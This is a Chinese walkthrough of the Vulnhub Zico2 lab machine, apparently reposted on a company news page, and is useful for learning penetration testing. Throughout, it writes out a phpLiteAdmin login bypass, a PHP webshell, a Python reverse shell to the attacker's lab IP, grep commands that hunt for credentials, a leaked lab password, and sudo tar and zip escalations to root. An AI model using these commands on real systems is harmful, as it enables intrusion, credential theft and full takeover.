公司动态

Vulnhub Zico2 靶场:从Web渗透到Linux提权的完整实战解析

📅 2026/7/16 3:47:44
Vulnhub Zico2 靶场:从Web渗透到Linux提权的完整实战解析
1. 靶场环境搭建与信息收集第一次接触Vulnhub的Zico2靶场时我习惯性地先确认网络环境。这里有个小技巧使用VirtualBox导入OVA文件时建议选择NAT模式而非桥接模式。这样既能避免扫描到物理网络中的其他设备又能保证攻击机比如Kali Linux与靶机处于同一虚拟网络。导入完成后在虚拟机设置中检查MAC地址是否冲突这个细节经常被忽略但可能导致网络连接异常。确定靶机IP是渗透测试的第一步。我常用的组合拳是arp-scan配合nmaparp-scan -l --interfaceeth0 nmap -sn 192.168.56.0/24当发现靶机IP为192.168.56.103后立即用全面扫描摸清家底nmap -A -sV -T4 -p- 192.168.56.103参数解释-A启用OS检测和版本探测-sV服务版本识别-T4加快扫描速度-p-扫描所有65535个端口扫描结果显示开放了80端口Apache、111端口rpcbind和53953端口未知服务。这里有个值得注意的现象虽然rpcbind存在历史漏洞但实际测试发现该版本仅会导致服务崩溃不具备利用价值。于是转向Web渗透用dirsearch进行目录爆破dirsearch -u http://192.168.56.103 -e php,html,txt -x 403关键发现是/dbadmin/目录这个路径命名已经暗示了可能存在数据库管理界面。2. Web渗透突破phpLiteAdmin漏洞利用访问dbadmin目录后映入眼帘的是phpLiteAdmin v1.9的登录页面。这个版本存在一个经典漏洞——无需密码即可通过任意输入登录后台。我在密码框随手输入hacker点击登录竟然直接进入了管理界面。实战中遇到这种情况要特别注意先查看页面源代码确认是否有隐藏表单或JS验证检查Cookie和LocalStorage看是否存在认证绕过测试SQL注入等常见漏洞确认是phpLiteAdmin的认证缺陷后接下来就是经典的Getshell操作创建名为exploit.php的数据库在数据库中新建表shell添加TEXT类型字段payload插入PHP代码?php system($_GET[cmd]); ?关键步骤将数据库文件从默认的/usr/databases/exploit.php改名为../dbadmin/shell.php这里有个坑点必须使用相对路径../dbadmin/shell.php绝对路径会因权限问题失败。访问http://192.168.56.103/dbadmin/shell.php?cmdid成功执行命令证明webshell生效。为了获得更稳定的shell我用Python反弹shellpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.102,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);本地用nc监听4444端口成功获得www-data权限的shell。3. 横向移动获取用户凭证在低权限shell中我立即开始信息收集find / -type f -name *.php -exec grep -l password {} \; 2/dev/null这个命令快速定位到/home/zico/wordpress/wp-config.php文件其中包含数据库凭证define(DB_PASSWORD, sWfCsfJSPV9H3AmQzw8);经验告诉我开发人员经常复用密码。尝试用这个密码SSH登录zico用户ssh zico192.168.56.103成功获取用户权限立即检查sudo权限sudo -l输出显示zico可以以root身份运行/usr/bin/tar和/usr/bin/zip这为后续提权埋下伏笔。4. 权限提升利用tar/zip的sudo特性4.1 tar提权方案查看tar的man手册发现--checkpoint-action参数可以执行任意命令。操作步骤如下echo /bin/bash shell.sh chmod x shell.sh sudo tar cf archive.tar * --checkpoint1 --checkpoint-actionexec./shell.sh原理剖析--checkpoint1每处理1个文件设置检查点--checkpoint-actionexec./shell.sh在检查点执行shell脚本tar以root权限运行时执行的脚本也会继承root权限4.2 zip提权方案作为备用方案zip的--unzip-command参数同样危险touch dummy sudo zip exploit.zip dummy -T --unzip-commandsh -c /bin/bash参数解释-T测试zip文件完整性--unzip-command指定替代unzip的命令系统检测zip文件时会执行我们指定的bash命令4.3 防御建议作为防御方应该定期审计sudo权限visudo对允许sudo的命令添加参数限制及时更新存在危险参数的软件版本成功提权到root后最后的仪式感当然是查看flagcat /etc/flag.txt